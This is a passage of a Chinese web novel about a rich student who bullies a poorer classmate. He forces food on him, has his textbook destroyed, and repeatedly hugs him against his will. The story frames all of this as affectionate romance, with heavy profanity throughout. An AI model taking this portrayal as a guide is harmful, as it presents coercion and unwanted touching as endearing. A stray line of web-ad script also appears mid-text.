李华担心了片刻，没想到今晚某人就这么放过他，喜悦的同时也很警惕，怕他大半夜找茬，不知道什么时候，郑源喜怒无常的暴力形象就在他心中竖起了，像个一言不合就会发狂的疯子。
他战战兢兢地睡着了，安静的连呼噜都不打。自小娇生惯养的郑大少爷不干了，他翻来覆去地烦，睡不着，床太硬，褥子也不薄，总之很嫌弃。他今晚住校住的仓促，原本就是为了吓李华，很多东西都来不及准备，就借用王玉代的，没想到他都用的什么玩意儿，还不如狗窝淘剩下的。
他越想越烦，折腾来折腾去的都快把别人吵醒了，李华也安安静静地躺在上面跟没人似的。他耐不住寂寞又直起头，慢慢爬上栏杆，李华蜷缩着身体，双手合十放在脸颊边侧躺着，像个摆到桌子上的手办。郑源趴在那儿看了会儿，给他盖了盖被子，摸了摸他的头。
总觉得他要生病了。
第二天一早李华就醒了，他照常起床洗漱，刚收拾完就有人从门外进来了，舍友陆陆续续地忙活着，郑源从他们身边擦过，手里提着什么，走到李华跟前，李华下意识看过去，郑源将饭菜放到桌子上，说：“吃吧。”
那是一个一看就很值钱的保温桶，崭新崭新地发着亮，郑源将盖打开，里面饭菜飘香，瞬间勾起人的食欲。他得意地看着李华怔愣的神情说：“专门让我们家厨师做的，食堂的饭菜是个什么，屎一样的。”
他邀功又自豪，殷勤的将饭菜盛出来摆到李华面前，递给他一双筷子，“尝尝。”
李华咽口唾沫，摇头，“不要。”
他才不要吃。
再好吃的饭菜是他带来的，他一点都不想尝。
郑源的笑僵在脸上，他有点生气，但是他耐着脾气忍了忍，他说：“让你尝你就尝，哪那么多事儿呢，你吃一口怎么了，能毒死吗？”
李华摇头，错开他要走，郑源拦着他，“你吃不吃。”
李华说：“我不吃。”
郑源说：“操你妈，凌晨我还在给他打电话，一大早我就去拿，你他妈说不吃就不吃？”
李华震惊地看着他，好像不明白他的做法，他说了一大堆，然后呢？自己有什么要解释的吗？没有啊，他就是不吃啊，不想吃啊，怎么了吗？又不是他让他做
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的，跟他有什么关系啊？他视而不见的态度让郑源瞬间火冒三丈。
他几乎是强硬的摁着他的肩膀，李华挣扎不过，被他按在椅子上，他说：“吃。”
李华不吃。
郑源：“吃。”
李华不吃。
他没什么表情和情绪地看着面前色香味俱全的饭菜，郑源气不打一处来。他左右看看，听到外面的同学在喊，是成群结队上课的，李华一听上课时间到了，连忙起身准备走，要不是在这儿跟他磨叽，自己已经从食堂出来在去班里的路上了。
他走的心急切，郑源说：“你要么吃了，要么我就倒了。”他死死地盯着李华说，“全倒在你床上。”
李华瞪大眼，真的要崩溃了，他觉得时间过的很快，怕赶不及上课了，又不敢贸然往前走，让他真把床毁了，一时急的快哭了，只能听话地埋头吃饭了，一边狼吞虎咽地吃一边口齿不清地问：“我吃了你就不能再倒在我的床上了。”
他眼巴巴地看着郑源，让郑源感觉可爱，他的嘴巴里塞的鼓鼓的，明知道他是欺负他的坏人，是大灰狼，却还要坏人打包票，郑源说：“你吃了我就不倒了。”
李华放下心，快速又努力地往嘴里塞，都来不及嚼都快咽了，被呛到喷着饭咳嗽，撕心裂肺的，郑源皱着眉看不下去了，说：“你连个饭都不会吃，真服了。”他嫌弃地抽着纸巾摁在李华的嘴上抹布擦地似的蹭蹭，算干净，李华呛的两眼泪花，可怜巴巴地看着他，郑源说你滚吧。李华赶快跑了。
宿舍没人了，上课铃也打响了，郑源看着桌子上的一片狼藉，好半天才喃喃自语：“我他妈也没吃呢……”
还想着一块儿吃呢……结果成这样了……
他黑着脸，三下五除二的收拾，揉着空空的肚子去上课了。
8. 8
早上没吃饭，让郑大少爷很不满。他掠夺似的找班里的同学要吃的，能搜刮来的都搜刮来，愣是没一个看得上的。李华坐在最前头写题，注意力出奇的集中，不论郑源闹的多大他都听不见，稳坐泰山，郑源觉得他在针对自己，实际上李华只是比较专注。他跑过去站在他面前，说：“我早上都没吃饭，你吃的倒是好。”
李华的笔停下，用一种极其匪夷所思的目光看着他。
郑源知道他理解不了，也知道自己无理取闹，但他就是心里不爽，他说：“你有什么吃的。”
李华摇头，“没有。”
郑源不信，要他起开，自己坐在他位置上把书包翻个底儿朝天。他的书包整洁但老旧，不知道哪一年的，还有点儿廉价洗衣粉的清香，他嫌弃，但也没撒手，说：“连个书包都买不起吗，都破成什么样了。”
他翻来覆去，什么都没找到，嘟嘟囔囔：“怪不得这么瘦，怎么不饿死你。”
李华：“……”
眼见快上课，李华无奈地说：“你闹够没有。”
闹。李华觉得他在闹。的确是闹，给人一种他自己不痛快也要找别人麻烦的感觉。李华感觉很无聊。郑源却不怒反笑，他终于愿意跟自己说话了，还是这么长一句话，还带些情绪，让他心里舒坦，说不了的感觉。他也不饿了，心满意足地走了。李华莫名其妙，重新坐在位置上，将东西都规整摆放。
郑源的新同桌是个女孩儿，看着他白白净净的面容有些心动，少年时期的爱慕藏都藏不住，她羞涩地问他题目，郑源耐心地解答，还写了好几种方法。
李华眼的余光能看到，下意识抬起头，前三排的位置很耀眼，他看到郑源少有的温柔，像他第一次和自己说话那样友好。
好奇怪，他好像除了对自己以外的其他人，都很好。
李华想不明白，也不再想，还是去学习。第二节下课，郑源出去了，没喊他，李华不知道跟不跟他，想来想去还是跟上了，见他没发现自己，又扭头往回拐，没走两步就被人拦着，郑源吹胡子瞪眼说：“怎么一点不自觉呢，刚才不是表现挺好的。”
原来他早就看到自己了。李华说：“不是打球的方向。”
“我饿了。”郑源说：“你陪我去吃饭。”
李华皱眉，“不要。”
郑源说：“不要也得要。”
李华扭头要走，郑源抓着他另一个好着的手，也不嫌大庭广众之下就拉拉扯扯，强硬地把人拉走，“我陪你吃饭你不陪我吃饭，你好意思？”
李华的脑子罕见的少有的短路了一下，重复，“你陪我吃饭？”
郑源瞪着眼说：“我没陪你吃饭？”
李华：“什么时候？”
郑源：“我操，你这人，好心当成驴肝肺？”
李华沉默，郑源说：“那在食堂，在宿舍，我不都陪你吃饭了，你现在说没陪，是不是不要脸了。”
李华想那也不是陪我吃吧，但是他不敢说。他沉默着，郑源就感觉他乖，开心了，手上力度都小了，说：“你想吃什么，让我们家厨师给你做。”
李华摇头，又被他带出学校了，早早地就有车在那儿等着，李华被他推上车，有些抗拒，但不敢，他看着窗外的景色，看了看车里的内饰，郑源察觉到他的眼神，说：“喜欢吗？”
李华看着他，郑源说：“喜欢我天天带你出来玩，兜风，晚上，翘课，怎么样？”
李华瞬间摇头，“不翘课。”
郑源说：“不是不喜欢，是不翘课，那星期六天行么？”
李华有点心动，他的确喜欢，坐着舒服，宽敞，软软的，他只坐过大巴车，这种感觉真挺好，说不出来的那种，想躺着睡觉。
郑源看他留恋，不答，蛊惑地笑了笑：“你家不是这儿的，还没转过这个城市吧，不仅有很多好玩的地方，还有很多博物馆、科技园、航空展……能学到很多书本上涉及不到的知识，你都不感兴趣？”
李华瞪大眼看他：“真的吗？”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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郑源说：“我骗你干什么，不信你问问别人。”
李华犹豫了，然后说：“但是我星期六天要回舅舅家。”
郑源疑惑：“他不让你出来玩？”
李华轻轻点头，因为全家人的希望都背在他身上，所以他没有任何娱乐活动，唯一的目标和任务只有学习，再学习，他不是这里的，也没有朋友，更多时候都是自己呆着，唯一的娱乐活动就是晚上吃饭时能看的十分钟电视，看完就要回屋继续学习，被压榨的像个只会学习的机器。但是如果不这样，他的舅舅就会苦口婆心地劝说，怕他玩物丧志，他不想看到舅舅欲言又止的眼神，便总是自觉的先行离开。
郑源皱皱眉，想说什么，忍住了，但是他向来不是委屈自己的人，还是说：“那你也没我成绩好，所以死学是没用的。”
李华：“……”
李华不服道：“下次会比你高的。”
郑源哈哈大笑，毫不客气地嘲讽他，“没我高怎么办，打赌？”
少年人心高气傲，一点不服自己被人比下去，他坚定到有些神采奕奕地说：“肯定比你高，赌就赌。”
郑源看他这样越看越舒服，这种舒服是想把他的脸捏在手里像搓面团似的使劲蹂躏，他磨了磨牙，有种迫切又抑制的意思，忍不住朝他靠近一些，“说个赌注。”
李华想了想，“如果我赢了，你以后再也不能理我了。”
郑源：“……”
郑源直直地看着他，像被泼了一盆冷水，车里安静的要命，前面开车的司机连呼吸都屏住，他听到身后的少爷冷笑一声，几乎是一字一顿，“你他妈想的美。”
他忍住动手想扇他的冲动，说：“我要是赢了，你他妈跪地上给老子学狗叫，你他妈的贱东西。”
李华有些惧，他轻轻地往后退了一下，禁不住他要吃人似的杀人目光，凭本能想避免危险的来临。
这一下把郑源气的兴致全无，果断气饱，说了一句回去就再也没说过话。
9. 9
李华搞不明白郑源，就像郑源也搞不明白李华，但是两个人就像杠上了，一个明里压榨，一个暗戳戳反抗。郑源觉得李华像条狗，他们家以前养的那种宠物狗，正翻着肚皮摸的好好的，不知道怎么就突然呲牙咧嘴，要咬人似的。李华也觉得郑源像狗，像那种农村里随便转悠，但一眼就能看出凶神恶煞，会咬人的恶狗。
一个想弄明白，一个想离远点。
重新饿着肚子的郑大少爷说不出的烦，他觉得李华敬酒不吃就吃罚酒，他对他不好吗？好啊，当然好。他这么问司机，司机就这么回答他，郑大少爷对他哪儿不好？哪儿都好。郑源信了，他决定教训一下李华，但是又不想自己出手，于是找来王玉代，让他给李华点教训。
王玉代心想，尼玛的跟神经病似的一会儿一个样，上一秒还护的跟个什么一样，下一秒就又恨上了。有钱人的世界真不懂，也就只能转换情绪来支配自己的无聊。但是恰巧，他也有点讨厌李华。这种讨厌说不上来，跟他烦郑源又是两码，他烦郑源，但服他，他烦李华，且不服他。
于是他很快接受了任务，并在当天就给李华找麻烦。扔了他的书，开玩笑似的，将本扔地上踩踩，上面一个肮脏的大脚印，李华气的脸都是红的，眼也红了，但是王玉代依然嬉皮笑脸的，无所谓似的：“不会吧，这就生气啦？”
李华透过他，看到了坐在位置上的郑源，他抱着膀子，一副无所谓的表情。李华很生气，但他没办法。他将书和本捡起来抱在怀里，看起来挺可怜的，有同学看不过去了，提醒着：“过了吧王玉代。”
王玉代说管你什么事儿。同学说你厉害什么？王玉代只笑不说，突然喊了一声郑源，说源子，我不过分吧？郑源说不过。王玉代得意洋洋，同学看看他们，还是不想得罪这个去哪儿都吃的开的郑姓人。
李华听着，想，真是理所应当，他就是这样的人。
他已经接受了郑源是一个很坏的人的设定，从他第一次变脸开始，李华从震惊到不敢相信到认为就该如此，只用了几天的时间。
他沉默着不说话，背对他，连侧脸也不留。
郑源心里更烦躁。他怒骂王玉代，你他妈没脑子吗？就扔扔本算什么啊？你看他动了吗？他怕了吗？
王玉代震惊，他想你他妈你这少爷说话真是不过脑子的，那好歹是个优等生，学校重点培养对象，真把人欺负狠了，姓郑的真不一定管他，又轮不到他头上去，自己不就背锅了吗？
他想，想了一个法子。趁着李华不在的时候，把他数学课本里的重点笔记全剪了，包括后面的新知识，也都只剩个边框。李华翻开的时候头都懵了，他不可置信，翻来覆去地看，以为自己做梦呢，头嗡嗡的。数学老师问他怎么了，他猛的转身，他没看到是谁，但他知道是谁，王玉代给他比了一个yeah的手势。李华气的拿东西砸他，爱惜也没让他在失去理智时丢已经没有内容的数学书，而是自己没吃完剩下的馒头。
砸的不太准。
数学老师呵斥他，他坐下，背着所有人，一动不动，片刻后眼泪瞬间流下。
郑源看着桌子上的馒头，抱着膀子，下课后看着王玉代，说你干什么了？王玉代说我没干什么，不是你说的么，教训不够。郑源沉默。李华一下课就出去了，不知道去干什么，他欺负了他，却也没觉得舒坦。
他烦躁地站起身去往他的位置，看到他的书，抄起黑板擦砸了过去，“你特么傻逼呢？”
他知道李华爱学习，比谁都清楚。
王玉代说：“我真操了，不是你说的吗。”
郑源说：“我他妈还操呢，谁让你这么干的？损逼，不怕生孩子没□□儿。”
“大哥。”王玉代都气笑了，“你他妈讲不讲道理啊？”
郑源说不讲，滚你妈的蛋。
王玉代努努嘴，多少难听的话忍了，冷笑一声走了。郑源抱着膀子思索，又找他，问内容扔哪儿了，王玉代故意恶心他，说操场男厕所，粘的都是屎，捡去吧。
郑源真去了，他倒没说捡，只是怕李华去捡，但是他到了男厕没找到人，忍不住咒骂：“傻逼李华。”
李华莫名，从隔间里探个头说：“你骂我干什么？”
郑源吓一跳，说我操你妈啊，你他妈随机刷新出来的？
随即他说不出话，他看到李华红透的双眼，他躲在这儿哭呢。他张着嘴哽住，李华低着头错开他走，郑源抓着他，问了一句牛马不相干的话，“手还疼吗？”
李华抽抽鼻子，声音有些闷地说：“郑源，我讨厌你。”
郑源一顿，听到他认真又崩溃地说：“我非常、非常、非常讨厌你，我恨你。”
他又不傻，王玉代受谁指使他不知道么，他们就快把你不长眼的得罪
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郑源，所以这些都是你该的写在脸上了。李华不知道自己为什么会在什么都没做的情况下惹到他。他也不想哭，但他绷不住，他下课的时候没来这里，去的办公室，数学老师说课本都是限量的，可以去书店买。
李华哪有钱买。他偷偷给舅舅打电话，舅舅说怎么把课本都学丢了？李华不知道该不该说没丢，是被撕了，但他又记得父母语重心长地说尽量别给舅舅添麻烦。他好像怎么做都是错的。他支支吾吾地说不出话，舅舅笑了，说是不是想吃零食或者买东西，想要钱呢？想要钱就要钱么，怎么还说这样的谎话。
在他看来李华一个热爱学习，注重学习的乖孩子，怎么可能会把课本弄的需要重新买，无非是想要点零花钱又不知道怎么说，向来乖巧的他连撒谎都漏洞百出，满是破绽。
李华说不是，不要，挂了电话。
他的泪掉在了郑源的手背上，让郑源感觉那个地方有点热。他松开手，看着李华远走的身影，下意识将眼泪放在鼻尖闻了闻，又用指尖碰了碰，他哭过那么多次，唯有这次让他感到新奇，这是李华的眼泪，他甚至想尝一下，听说人的眼泪是咸的。
有点变态，他嫌弃地厌恶自己，甩甩手，又洗一洗，回到教室，他直奔李华的位置，撑在他上头，说：“不就是课本吗？我知道你都记了哪些东西。”
李华趴着，不想跟他说话。
郑源压低声音说：“你现在看我，跟我说，郑源我不讨厌你，你别说书，你要什么我给什么，除了让我别找你。”
李华不动。
郑源忍不住伸手戳他，“说话。”
李华很烦，打开他的手，“别碰我。”
郑源看他脸颊红红的，像是被气的，头发因为挤压也有点翘，心情突然变得特别好，“不就是书吗？犯得着生这么大的气吗？我买不就完了吗？”
他当即找了管家，不仅买了书，还买了其他辅导教材，全是一等好书，搬到李华面前的时候震慑住他了。
郑源说：“你别生气了。”
李华没说话。
他说不出谢谢。面对郑源渴望的目光，也只是嗯了一声。就这郑源也开心了。顺带着看王玉代都顺眼了。
王玉代说：“郑源你知道你像什么吗？”
郑源说什么？
王玉代说：“贱人。”
郑源：“……”
10. 10
贱人郑源并不在意别人的谩骂，有时候他的面子又很廉价，李华想了一下，如果是自己，郑源估计会气炸。他心无旁骛地看书，郑源心无旁骛地看他，就懒洋洋地托着下巴，无聊的描他鼻尖和黑板上重合的粉笔印。有人坐到他眼前，郑源眉毛一竖：“起开。”
对方兴奋地说：“源哥源哥，篮球比赛，参加吗？”
郑源喜欢打篮球，他的脑子分为两面，左脑问他什么阵仗，右脑雷达似的探寻着目标，“跟外校的有什么好打的。”
“他们看不起我们！”男生呜呜咋咋，郑源说：“看不起看不起呗，我也看不起。”
男生：“……”
男生颓败地走了，去找了王玉代，王玉代倒有集体精神，一听自己班同学被外校的欺负鄙视了，正义感瞬间爆棚着窜上来：“干他！”
“干！”男生被鼓舞，也感动，却还是不安和忐忑。王玉代知道他在想什么，他自己也有点没着落，他喜欢打篮球是不假，但他个子有点低，这对篮球这项运动来说如果不是天赋异禀，真有点尴尬，所以他之前一下课就拉着郑源和自己打，在更强的强者面前，自己差点也不会被看不起，再说能和强者一队，本身就能证明自己也够强。
在十几岁虚荣心膨胀的年纪，王玉代面对着男生小弟般的崇拜与尊敬，拉不下脸说不一定能赢，而是拍起了胸脯说放心吧，有哥在，铁定能赢。
他说的认真，连他自己都信了。
“怎么赢啊？”男生走后，王玉代的朋友问他，“我们的技术都不怎么样啊。”
王玉代说：“我们不行，不是还有郑源吗？他关系那么广，再喊来几个外校的或者高年级的不就赢定了吗？”
朋友说：“但是他不来啊。”
“那不一定。”王玉代冷笑一声，“他找错人了。”
晚上，李华刚进寝室，就看到王玉代和几个舍友眼巴巴地等着他。他还是头次看到他们这样的阵仗，像一排黄鼠狼蹲着给鸡拜年似的，让他心里一阵惊恐和迷茫，恨不得把自己削成片从他们缝隙中飘过去。王玉代显然不给他机会，挡在他跟前：“李华！”
李华一个激灵：“到！”
王玉代凑到他跟前，眼神诚恳，面露为难：“你能帮我一个忙吗？”
李华警惕着：“什么？”
“你知道吗？！外校那帮人……”
王玉代跟他说着，添油加醋的演绎外校的人有多过分，把他们欺负的不成样子，晓之以情动之以理，把李华唬的一愣一愣的，“真有这样的事？”
王玉代郑重点头，“真有。”
李华不可置信。他有点不太信，但好像又没有什么理由不信。毕竟活生生的例子摆在那儿，欺负他的王玉代，郑源，也会有像他们一样的人欺负别人，甚至比他们更过分，一想到他们丑恶的嘴脸，李华的心就有点颤，主要是想到郑源，他掰自己手腕的时候，像农村过年杀鸡时拽着鸡的翅膀，无论它怎么伸长脖子叫，一把锋利的刀，它就再也叫不出来了，血滴在地上，就像他因疼痛落下的泪滴和汗，疼，疼的让他产生心理阴影，仿佛手腕还在阵阵发麻。
他就像那只鸡，无声地呻吟。
他就是那只鸡。
毫无还手之力。
“你们……”李华抿抿唇，说：“我想想吧。”
他忧心忡忡地躺在床上，第一次陷入了犹豫和对三观挑战的迷茫。他摸索出手机，小心翼翼的打字。
-爸，妈，你们睡了吗？我在这里一切安好，老师同学对我都很好，舅舅也很照顾我，你们呢？有没有吃好、喝好？睡好觉？爸，妈，我有一件事想让你们知道。
他的手腕还是有点痛，伤筋动骨一百天，他歇了会儿，换了个侧躺的姿势。
-我们班里有几个同学，平常会欺负别人，现在他们也被欺负了，你们觉得这是应该的吗？
他想了想，又补充。
-他们找他们欺负过的同学帮忙，这个同学应该帮忙吗？
他抿抿唇。
-不是什么大事，你们不要放在心上。我在这里过的很好，等放假就回家。你们不要太劳累了，照顾好自己，多吃饭，早睡觉，不要担心，我爱你们。
发完短信，他长出一口气，将手机放在胸前，两手压着。
想家了。
他撇撇嘴，闭上眼，快睡着的时候手机突然震动了。
-华爹娘哏好不要但心兆古好自己爹娘去看你有事给家里连习钱gou不gou 不七服其他同学 友好相处早点s觉爹娘爱你 。
李华看着这几行短短的消息，充斥着错别字与拼音。他的父母都是小学毕业，许多字都不会写，连拼音都拼不全。他的眼眶红了，突然感觉委屈，没来由的，他深吸一口气，下定了某种决心。
第二天，他主动找到郑源，站在他的桌前。郑源有些惊讶，更多的是兴奋，他早上刚冲过澡，现在头发都支楞起来了，刺激的，他一瞬不瞬地盯着他，李华不想对上他的目光，“你……”
他不想向曾经欺负过自己的人微笑，就冷着一张脸，连语气都是硬邦邦，跟命令似的，“打球，跟他们一起。”
什么颠三倒四的话。听的郑源莫名其妙，但他心情很好，“从你那小嘴里蹦出的什么玩意儿。”
他说自己的嘴是小嘴。李华震惊且恶心，一瞬间气的脸都红了，有病，他哽的不行，甚至是恶寒的起一身鸡皮疙瘩，声音都因应激变大了：“你跟王玉代一起打球！”
郑源说：“噢，然后呢？我们本来就一起打啊。”
猫在一旁察言观色的王玉代看不下去了，这是俩年纪前三吗？这是俩癫痫吧？他赶忙走过去解释，捋顺这条凹凸不平的信息传递：“是这样的，于洋之前不是找你了么，篮球比赛，因为外校欺负我们的事儿，李华知道了很气愤，就希望你能跟我们一起，没有你我们肯定不能赢。”他拍着郑源的马屁，“你打篮球那么厉害，认识那么多人，到时候再喊上一两个，那不是赢的so easy。”
李华没说话，郑源一直看着他，目光移到王玉代身上，微微眯眼，“你们关系什么时候这么好了？”
王玉代头皮一紧，“不是……”
李华坦然地说：“我只是希望你们通过这件事，知道被欺负的滋味，以后就不要再欺负别人了。”
这句话他是冲着王玉代和郑源一起
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说的，没单独跟王玉代说就是因为缺个郑源。
王玉代连连点头，郑源噗嗤一声笑了，“我他妈的，欺负谁了？你？”他看着王玉代，“还是你？”他又看向李华。李华能听出他挑事儿的意思，皱皱眉没说话。
郑源站起身，拉着李华的手腕就走，王玉代甚至下意识想拦一下，这怎么跟他想的不一样啊？
但是郑源看他一眼，他老实了。
两个人出去，王玉代的小弟说：“代哥，你这次怎么这么好言相劝，干嘛不直接威胁他？”
他说的是李华，王玉代踩他一脚，“你有脑子吗？你觉得是李华吓人还是郑源吓人？他丫的一会儿护的要死，一会儿又恨的要死，我要是真威胁李华，让郑源知道了，死的就是我了你知不知道？滚蛋。”
小弟滚了，王玉代摸着下巴，总觉得郑源生气了，但是又不知道他这大爷生的哪门子气，他会揍李华吗？别吧，虽然他也挺烦李华，但这次毕竟是自己找他帮的忙，他也是处于好心，哎呀，王玉代觉得不好，又不知道该怎么办，一瞬间觉得自己太善恶分明了。
出了教室，郑源一路把李华带到了走廊的角落，临近上课，这里已经没人了，他把李华堵在自己和墙的中间，看着他垂着眸的样子，气的手心痒痒，忍不住想捏他，他说：“你跟王玉代都能有好脸色，冲我笑笑怎么了？我说今天怎么这么主动，原来是因为他找你了，他找你，噢，你因为他都能主动来找我？你们关系很好吗？他欺负过你你忘了？你不长记性啊？”
李华莫名其妙，王玉代欺负他，郑源没欺负他吗？他真的很迷茫，抬着脸问他：“你在说什么啊？”
郑源：“……”
郑源：“你就故意气我，你听不懂人话是吧？”
他火冒三丈，李华要走，郑源堵着他，低头看他，“你让我帮忙也行，你……你……”
他看着李华白皙的面容，感觉口渴，又感觉热，心跳在加速，让他喘不过气，甚至不自然地搓了搓手，一种奇异的悸动包裹着他，让他想尿，不，不是，是让他想暴力的用破坏似的手段发泄些什么。
“你尿急吗？”李华问他，他站在自己面前跟有多动症似的。
“你让我摸一下。”郑源听到自己的声音，说出口后像冲出某种牢笼和桎梏，突然静了下来，心安理得的。
李华更茫然了：“什么？”
“摸一下。”郑源说，直直地盯着他，“让我摸一下你的脸。”
李华反应慢半拍的眨了眨眼，反应过来后瞬间爆炸：“你有病吧。”他抗拒的要命，逃似的要走，郑源死死地拦着他，两个人几乎抱在一起，郑源又听到自己的心跳，非常流氓的双手一环，就把人抱在了怀里，李华怔住，郑源死死地抱着他，跟做梦似的，感觉怀里软的要命，甚至还有清香，他还没来及回味，就被人猛的推开，李华涨红着一张脸，气的眼眶都湿了：“滚！”
说完他自己跑了。
郑源眨眨眼，摸摸自己的胸膛，“我靠。”
他赞叹，全身舒畅，“爽。”
“好爽。”
“我操。”
“爽。”
“太爽了……”
11. 11
郑源抱了李华，郑源抱了李华，郑源抱了李华。郑源的心情好到爆炸，上课都哼着小曲，看李华的眼神也意味深长，甚至意味不明。李华感觉刺挠，跟没洗澡似的，也膈应，他觉得抱一下没什么，他不排斥和同学有这种稍微亲近的肢体接触，但是跟郑源，他就难受了，有种说不上来，跟被毛毛虫盯上似的那种黏腻感。他不喜欢，他恨不得找书把自己埋起来。
不就抱一下吗，郑源心想，至于害羞成这样。
但是李华越这样，他越觉得可爱。主动且好脾气的要给人打饭，李华恶寒的拒绝，郑源跟屁虫似的跟在他身后，“我给你打饭不比你自己打饭快多了？”
不远处的王玉代冷哼着摇头，一旁的小弟佩服，“哥，你说的真对。”
“那是。”王玉代吹胡子瞪眼，他多少次栽到郑源这个变脸速度比撒尿速度还快的人身上了，都总结出经验了。
“为什么源哥跟在他身后啊？”小弟不解，“这李华有什么本事？不就好学生一个？木木呆呆的。”
“我怎么知道。”王玉代也百思不得其解，这世上还能有治得住郑源的。
“你理我啊。”郑源跟在他身后说的口干舌燥，“怎么这么犟劲呢，你别敬酒不吃吃罚酒。”
李华扭头看他，郑源又赔上笑脸：“开玩笑。”
他都不知道自己怎么变得这么怂蛋了，看别人好奇探寻地看着他们，感觉有些丢面，又强硬起来，“看什么看，我就给你打饭了能怎么？”
他粗鲁地夺过李华手里的餐盘，把人赶走去位置上等着，李华觉得他简直有病，转身走了，郑源得意洋洋，毫不客气地插队，看着对方不满的目光：“看什么看，往后站。”
李华：“……”
李华把脸扭到一旁，不看了。
郑源威逼利诱的恐吓方式非常有效，平时快也要半个小时的队他十分钟就排完了，还得意洋洋：“比你快吧。”
李华说：“你插队。”
郑源眼一瞪，有些尴尬，“你哪只眼看到我插队。”
李华：“两只眼都看到了。”
郑源本想吐槽，但是脑子灵光一闪不知道又怎么拐到另一个层面去了：“你一直看着我啊？”
李华皱眉，总觉得这话有歧义，又不知道歧义在哪儿，但是表面看好像又没错，但他依旧谨慎地说：“就看了一会儿。”
郑源骄矜地哼了一声，“看就大大方方地看，还就看一会儿，我又没不让你看。”
李华面无表情的脸：“我没有偷偷摸摸的看。”
郑源已经听不进去了，催促他赶快吃饭，还把碗里的肉挑给他，李华皱眉抱着碗扭到一边，“不要。”
郑源竖眉，“都瘦成什么样了还不吃点肉补补，回头风一吹就倒了看你去哪儿哭。”
李华有一点惊愕地看着他，他这话跟他舅说的一模一样。他感觉别扭，又不知道别扭在哪儿。缓了两秒后才把碗递过来。郑源满意，欣慰：“乖。”
一直偷看的王玉代说：“莫名其妙，感觉恶心。”
“他俩关系竟然这么好。”小弟感慨，“真想不到。”
吃完饭，郑源问他：“书看了吗？怎么样？”
提起这个，李华少有的给了好脸色：“挺好的。”
郑源不满：“也不说声谢谢。”
李华沉默。郑源也不强迫，知道他脸皮薄，但是又按耐不住凑近了，“你再让我抱抱呗。”
李华猛的停止脚步，匪夷所思地看他一眼，拔腿就跑。
郑源在身后追，“你他妈跑什么啊。”
他两三步就把人追上，拉着人的手腕扯到角落里，李华气喘吁吁，脸红红的，警惕又防备，郑源大言不惭地说：“都是男生，抱一下怎么了。”
李华说：“你去找别人。”
郑源瞪眼：“抱你是给你脸，你又不会缺块儿肉，你以为我想抱
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你？”
神经病。李华说：“你再不走我告老师了。”
“你还报警呢。”郑源一点不怕，伸手就要搂，李华急中生智，一脚踹他裆部，郑源哀嚎一声，捂着□□弯着腰，李华要跑，他还不怕疼地抓着人的手腕拦下来，脸色苍白，目露凶光的一字一顿，“你妈了个逼的，真他妈有种。”
李华被他恶狠狠的眼神震慑，强装镇定：“你先欺负我的。”
郑源瞪眼：“我他妈抱你叫欺负你！”
李华吵回去：“我不想让你抱！”
郑源怒骂：“抱一下怎么了！矫情！”
李华不要：“你去抱别人！”
郑源闭闭眼，额角流汗，慢慢松开他蹲下来：“李华。”
他喊他，“我疼。”
李华脑子嗡嗡的，有些慌了，他忘了他刚刚用了多大劲了，他无措地蹲下来有些急了，扶着郑源结巴：“你，你没事吧，郑源，你。”
郑源勾着头没说话，李华怕真有事儿了，要把他拽起来：“医务室，我们快去医务室。”
郑源没说话，却猛地一起身，就把李华拽怀里了。李华一愣，疯狂挣扎，郑源扣着他的后脑勺，嘶嘶地忍着气说：“别，别动，真疼。”
他跟个流氓似的，却又不像假的，让李华一时进退无法，好在他抱了一会儿就主动撒手了，皱着眉，能看出来不是装的，抱都抱过了也没什么好装的，他说：“上次就想问了，你用的什么沐浴露，这么香。”
李华生气，但又担心，生硬又凶巴巴地：“你没事吧。”
“没事儿。”郑源云淡风轻，“小事儿。”
结果李华回去上课，他自己跑去了医务室。男医生看着他皱眉：“怎么回事儿。”
郑源说：“没长眼，撞的。”
医生不信，“还正发育呢，别打打闹闹的没什么分寸了。”
“知道了。”郑源懒洋洋的，也不算亏嘛。
12. 12
篮球比赛定在星期六，也就是明天。王玉代怕郑源临时变卦，想把李华也拉去，李华八百个不愿意。王玉代好说歹说，甚至说万一被打了希望他能藏起来报个警就行，把话说到这种严重的份儿上李华才有点动摇。真相当然没这么严重，但是他的面子更重要。说动李华，他就不怕郑源不去了，就算真不去，到时候一句李华在，他也断定郑源像寻着骨头的狗，自己都跟去了。
不出他所料，郑源还真不去，懒得去，他不去，但是他找了人去，两帮人在新区的露天篮球场比，这儿跟郊区似的，一片烂尾房，人少的要死，李华都是王玉代打车送来的。
他背着书包，找了块儿地方写作业，给舅舅打电话，很诚实地说篮球比赛，舅舅一开始不同意，但是王玉代在电话里说是校园活动，大家都参加，李华学习这么好，是老师希望他参加的，要德智体美劳结合，把舅舅哄的一愣一愣的，什么意见都没了。李华对于他撒谎的行为感到不满，王玉代反而嘲笑他说这不是撒谎，是李华太死板，不懂得变通。
于洋说代哥，郑源没来，把李华带来有什么用？
王玉代说你先比，我们赢了，啥事儿没有，我们输了，再让李华把郑源喊来。
相当于一张底牌。
于洋了然，佩服他的脑子。
在大家还天真无邪的时候，王玉代这种擅长耍心眼，略微早熟的人就很容易出头当大哥，有一票跟随者。所以他也拿出了扛把子的大哥态度，面对对方对他们找外援行为的不满，他给的理由是：“一帮兄弟都是一家人，叫什么外人。”
对方气的不行。
他们虽然不是私立贵族学校，但也是普高、职校甚至是重高里的风云人物，家庭条件虽然可能还没到那个地步，但有的真在社会上摸爬滚打，一听他们这么不要脸，一个个蠢蠢欲动想给他们实打实的教训。
早就听闻这帮贵族少爷爱装逼，百闻不如一见，对方冷笑着讽刺，当即打电话，表示你们跟我们来这套，今儿就非治的你们喊爸爸。
十几岁屁都不懂又血气方刚的年纪，王玉代本来还有点儿怯，怕事儿闹大，一看对方不讲武德，心思又活络起来，说：“为你们爸妈着想，别在这儿闹了。”
从篮球赛到聚众斗殴，只要人数够多，界定还真不好说。王玉代怕什么，他这边人都认识，真打起来去警察局逛一圈又出来，但是对方就不一样了，父母卖饭的卖饭，跑车的跑车，认识什么人？
王玉代有恃无恐，还煽风点火：“来啊，来，动手啊，叫人啊，看你们有几个孙子。”
都说人狂必有天收，王玉代不怕，于洋怕了，他第一次见这种场合，不想惹事儿，劝王玉代算了。有点儿后悔找这个哥了，早该知道他是唯恐天下不乱的性格。王玉代却让他别怂，对方不敢真动手。
